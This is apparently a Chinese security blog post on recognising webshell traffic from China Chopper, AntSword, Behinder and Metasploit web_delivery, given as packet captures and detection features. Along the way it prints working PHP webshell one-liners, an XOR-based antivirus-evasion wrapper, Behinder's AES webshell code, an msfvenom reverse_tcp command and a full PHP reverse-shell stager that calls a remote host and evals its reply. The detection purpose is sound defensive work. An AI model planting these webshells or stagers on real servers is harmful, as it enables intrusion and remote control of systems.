webshell流量监测
一句话webshell检测
POST 请求
1 | POST /shop/d.php HTTP/1.1 |
POST返回包
1 | HTTP/1.1 200 OK |
webshell-venom
无字符webshell:https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w
1 |
|
检测是否存在参数
id
,存在即把post的数据base64解密一遍,不存在即直接传参利用随机异或进行免杀任意php文件
脚本对webshell进行免杀的思路是
array_map函数进行处理array_map('u?ldOQ'^"\x14\x4c\x1f\x1\x3d\x25",array(('P/f}'^"\x35\x59\x7\x11")."(base64_decode('xxxxxxxx'));"));
,异或的字符串为assert和eval
下面是对冰蝎webshell的处理,base64函数里面的内容就是冰蝎的webshell
1 |
|
POST请求包
1 | POST /venom.php HTTP/1.1 |
POST响应包
1 | HTTP/1.1 200 OK |
web_delivery
shell地址:http://10.0.83.217:8080/web_delivery.php
wiresahrk抓包:ip.addr == 10.0.83.217 && not ssh && !(tcp.port==3389)
1 | msfvenom -p php/meterpreter/reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f raw > shell.php |
web_delivery.php
1 |
|
其中http://10.0.85.55:8081/bGI3P5ta1iAm5XW
内容为
1 | /*<?php /**/ error_reporting(0); $ip = '10.0.85.55'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die(); |
pcap数据包
1 | GET /5fLYpgOj0FD9F HTTP/1.0 |
与msf持续socket通信
WebShell客户端的流量特征
中国菜刀(Chopper)
1.PHP类WebShell链接流量
其中特征主要在body中,将body中流量进行url解码后如下:
其中特征点有如下三部分,
第一:eval
,eval函数用于执行传递的攻击payload,这是必不可少的;
第二:base64_decode($_POST[z0])
,(base64_decode($_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;
第三:&z0=QGluaV9zZXQ…
,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。
注:
1.有少数时候eval方法会被assert方法替代。
2.
$_POST
也会被$_GET、$_REQUEST替代。3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
2.JSP类WebShell链接流量:
该流量是WebShell链接流量的第一段链接流量,其中特征主要在i=A&z0=GB2312
,菜刀链接JSP木马时,第一个参数定义操作,其中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=参数用来加入攻击载荷。
注:其中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最主要就是第一个参数值在A-Q,这种是不变的。
3.ASP类WebShell链接流量:
其中body流量进行URL解码后
其中特征点有如下三部分,
第一:“Execute”,Execute函数用于执行传递的攻击payload,这是必不可少的,这个等同于php类中eval函数;
第二:OnError ResumeNext,这部分是大部分ASP客户端中必有的流量,能保证不管前面出任何错,继续执行以下代码。
第三:Response.Write和Response.End是必有的,是来完善整个操作的。
这种流量主要识别这几部分特征,在正常流量中基本没有。
注:OnError Resume Next这个特征在大部分流量中存在,极少数情况没有。
中国菜刀2016版本各语言WebShell链接流量特征
请求包:
1 | POST /shop/d.php HTTP/1.1 |
响应包:
1 | HTTP/1.1 200 OK |
1.PHP类WebShell链接流量
其中特征主要在body中,将body中部分如下:
这个版本中流量最大的改变就是将特征进行打断混淆,这也给我们识别特征提供一种思路。
其中特征点有如下三部分,
第一:“Ba”.”SE6″.”4_dEc”.”OdE”
,这部分是将base64解码打断使用.来连接。
第二:@ev”.”al
,这部分也是将@eval这部分进行打断连接,可以识别这段代码即可。
第三:QGluaV9zZXQoImRpc3BsYXlf…
,该部分是传递攻击payload,payload依旧使用Base64编码的,所以可以利用base64解码可以看到攻击明文来识别。
注:1.有少数时候eval方法会被assert方法替代。
2.JSP类WebShell链接流量:
该版本JSPwebshell流量与之前版本一样,
所以分析如上:该流量是WebShell链接流量的第一段链接流量,其中特征主要在i=A&z0=GB2312,菜刀链接JSP木马时,第一个参数定义操作,其中参数值为A-Q,如i=A,第二个参数指定编码,其参数值为编码,如z0=GB2312,有时候z0后面还会接着又z1=、z2=参数用来加入攻击载荷。
注:其中参数名i、z0、z1这种参数名是会变的,但是其参数值以及这种形式是不会变得,最主要就是第一个参数值在A-Q,这种是不变的。
3.ASP类WebShell链接流量:
其中body流量为:
2016版本流量这链接流量最大的变化在于body中部分字符被unicode编码替换混淆,所以这种特征需要提取出一种形式来,匹配这个混淆特征,比如“字符+%u0000+字符+%u0000”这种形式来判断该流量。
或者直接将这部分代码直接进行unicode解码,可以获取到如2011或2014版本的asp所示的流量。可以根据上一段特征来进行判断。
这种流量主要识别这几部分特征,在正常流量中基本没有。
中国蚁剑(AntSword)
蚁剑流量明显特征
使用版本:v2.1.3
无加密请求数据包:
1 | POST /shop/d.php HTTP/1.1 |
响应包
1 | HTTP/1.1 200 OK |
针对最明显的特征就是user-agent可以在下面两处地方进行修改
antSword-2.0.2\modules\request.js (21行一处)
antSword-2.0.2\modules\update.js (两处)
蚁剑PHP类WebShell链接流量
其中body流量进行URL解码后为:
其中流量最中明显的特征为@ini_set(“display_errors”,”0″);
这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现。
蚁剑ASP类WebShell链接流量
其中body流量进行URL解码后为:
我们可以看出蚁剑针对ASP类的WebShell流量与菜刀的流量很像,其中特征也是相同,如OnError
、ResumeNext
、Response.End
、Response.Write
,其中execute在蚁剑中被打断混淆了,变成了拼接形式Ex”&cHr(101)&”cute,同时该流量中也使用了eval参数,可以被认为明显特征。
蚁剑bypass特征
选择base64加密
1 | POST /shop/d.php HTTP/1.1 |
对其中的base64进行解码,发送的请求为
1 | _0x10e40a2245318=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "26e29";echo @asenc($output);echo "c6629";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&x=@eval(@base64_decode($_POST[_0x10e40a2245318])); |
选择rot13加密
请求数据包:
1 | POST /shop/d.php HTTP/1.1 |
响应包:
1 | HTTP/1.1 200 OK |
multipart /chunked
multipart 上传文件形式
chunked 分块传输
特征同上,参数名大多以_0x……=
这种形式
自定义编码器
在传送的数据包上自定义编码器进行传输流量加密
b64pass编码器
1 | /** |
我们只需要做的就是,把 eval(base64_decode 这段特征代码,直接写进一句话代码里就行了,在传输的时候,只传 base64 的数据就可以了。
所以最后的 webshell 代码是这样的:
1 | eval(base64_decode($_POST['ant'])); @ |
请求数据包:
1 | POST /Antsword1.php HTTP/1.1 |
返回包:
1 | HTTP/1.1 200 OK |
接收到的数据是 base64 格式的,先解码,然后再传给 eval,效果就是这样子的:
1 | _0xda35e59dcb63b=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "d2617";echo @asenc($output);echo "7e470";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); |
AES-128-ECB(ZeroPadding)编码器
这个需要开启open_ssl
使用具体流程是这样的
1.上传webshell,内容如下:
1 | <?php |
2.访问webshell获得PHPSESSID
请求数据包:
1 | POST /Antsword2.php HTTP/1.1 |
响应包:
1 | HTTP/1.1 200 OK |
自定义解码器
使用解码器aes_128_ecb_zero_padding.js
会对返回的响应包进行加密
请求包:
1 | POST /shop/d.php HTTP/1.1 |
使用aes_128_ecb_pkcs7_padding
解码器的响应包
1 | 66480/pkRa6oThLx1lMnT1C0Olyv9wfRbPji8ZU7kHy5z+lawiO8c5zyfBMmwYDQ1296i+1aTQkldKm4UD4FfV4vJNOhf54mlQRrnc2yzYic1kr2rxnf13fCRCtz6OS7VF4//XJ+Xzu7RTuaghCFIUw7fbtonejmI1EC218f4ikgLSh+VdtXnSANRetfFP3z1EnPBguzR4/7btSMQNKioS5zt9oQ/LAFkzT39gqGcyJ7OzQ2f1v7oUW8MgvbS4S9t9JFK2hGEEpE+QoO4w48k0s0asw==661bd |
蚁剑bypass特征
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以_0x……=
这种形式(下划线可替换为其他),针对于使用默认的base64,rot13等编码器,可以使用检测req_body
是否存在_0x
来进行检测。
至于使用编码器的可能需要自行写脚本进行解密后然后再检测。
冰蝎(Behinder)
冰蝎流程
- 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
- 客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。
- 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
- 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")") 。
wireshark进行分析
1 | ip.addr == 10.0.83.217 && not ssh && !(tcp.port==3389) |
抓取连接冰蝎自带的shell.php
的流量,跟踪TCP流
GET请求包
1 | GET /shop/shell.php?pass=129 HTTP/1.1 |
GET返回包
1 | HTTP/1.1 200 OK |
接着进行POST请求
1 | POST /shop/shell.php HTTP/1.1 |
POST返回包
1 | HTTP/1.1 200 OK |
首先发送的GET请求就是向服务端索要密钥,服务端将密钥写入
session
,然后发送给客户端客户端获得密钥,用密钥加密payload,客户端使用加密的payload,发送POST请求(AES加密后的
assert|eval("phpinfo();")
)到服务端.服务端收到请求,使用写在
session
的密钥进行AES解密,得到原始payload。所以服务端需要开启open_ssl服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为
assert("eval(\"phpinfo;\")")
。发送payload如下:
1
2session_start();
isset($_GET['pass']) ? print $_SESSION['k'] = substr(md5(uniqid(rand())), 16) : ($b = explode('|', openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k']))) & $b[0]($b[1]);1
2session_start();
isset($_GET['pass']) ? print $_SESSION['k'] = substr(md5(uniqid(rand())), 16) : ($b = explode('|', openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k']))) & call_user_func($b[0], $b[1]);从流量中我们可以观察到的特征
- 基于GET请求包的检测特征:url包含
.php?pass=
;(密码如果被修改后,此检测特征无效) - 基于POST返回包的检测特征:
Transfer-Encoding: chunked
- 基于GET请求包的检测特征:url包含
bro检测
bro
-r 读取一个pcap进行分析
-i ens3 选择监听接口
-C 禁用校验和
-f 捕获流量时进行过滤
分析本地pcap包
bro -r ms08067-meterpreter-reverse-tcp-alpha.pcapng -C local
bro –i ens3 local –C 开启bro监听就会在当前目录下生成各种日志,输入local会选择bro/share/bro/site/local.bro文件,local.bro文件控制加载那些bro脚本,想要加载sql注入检测脚本直接添加@load protocols/http/detect-sqli
参考: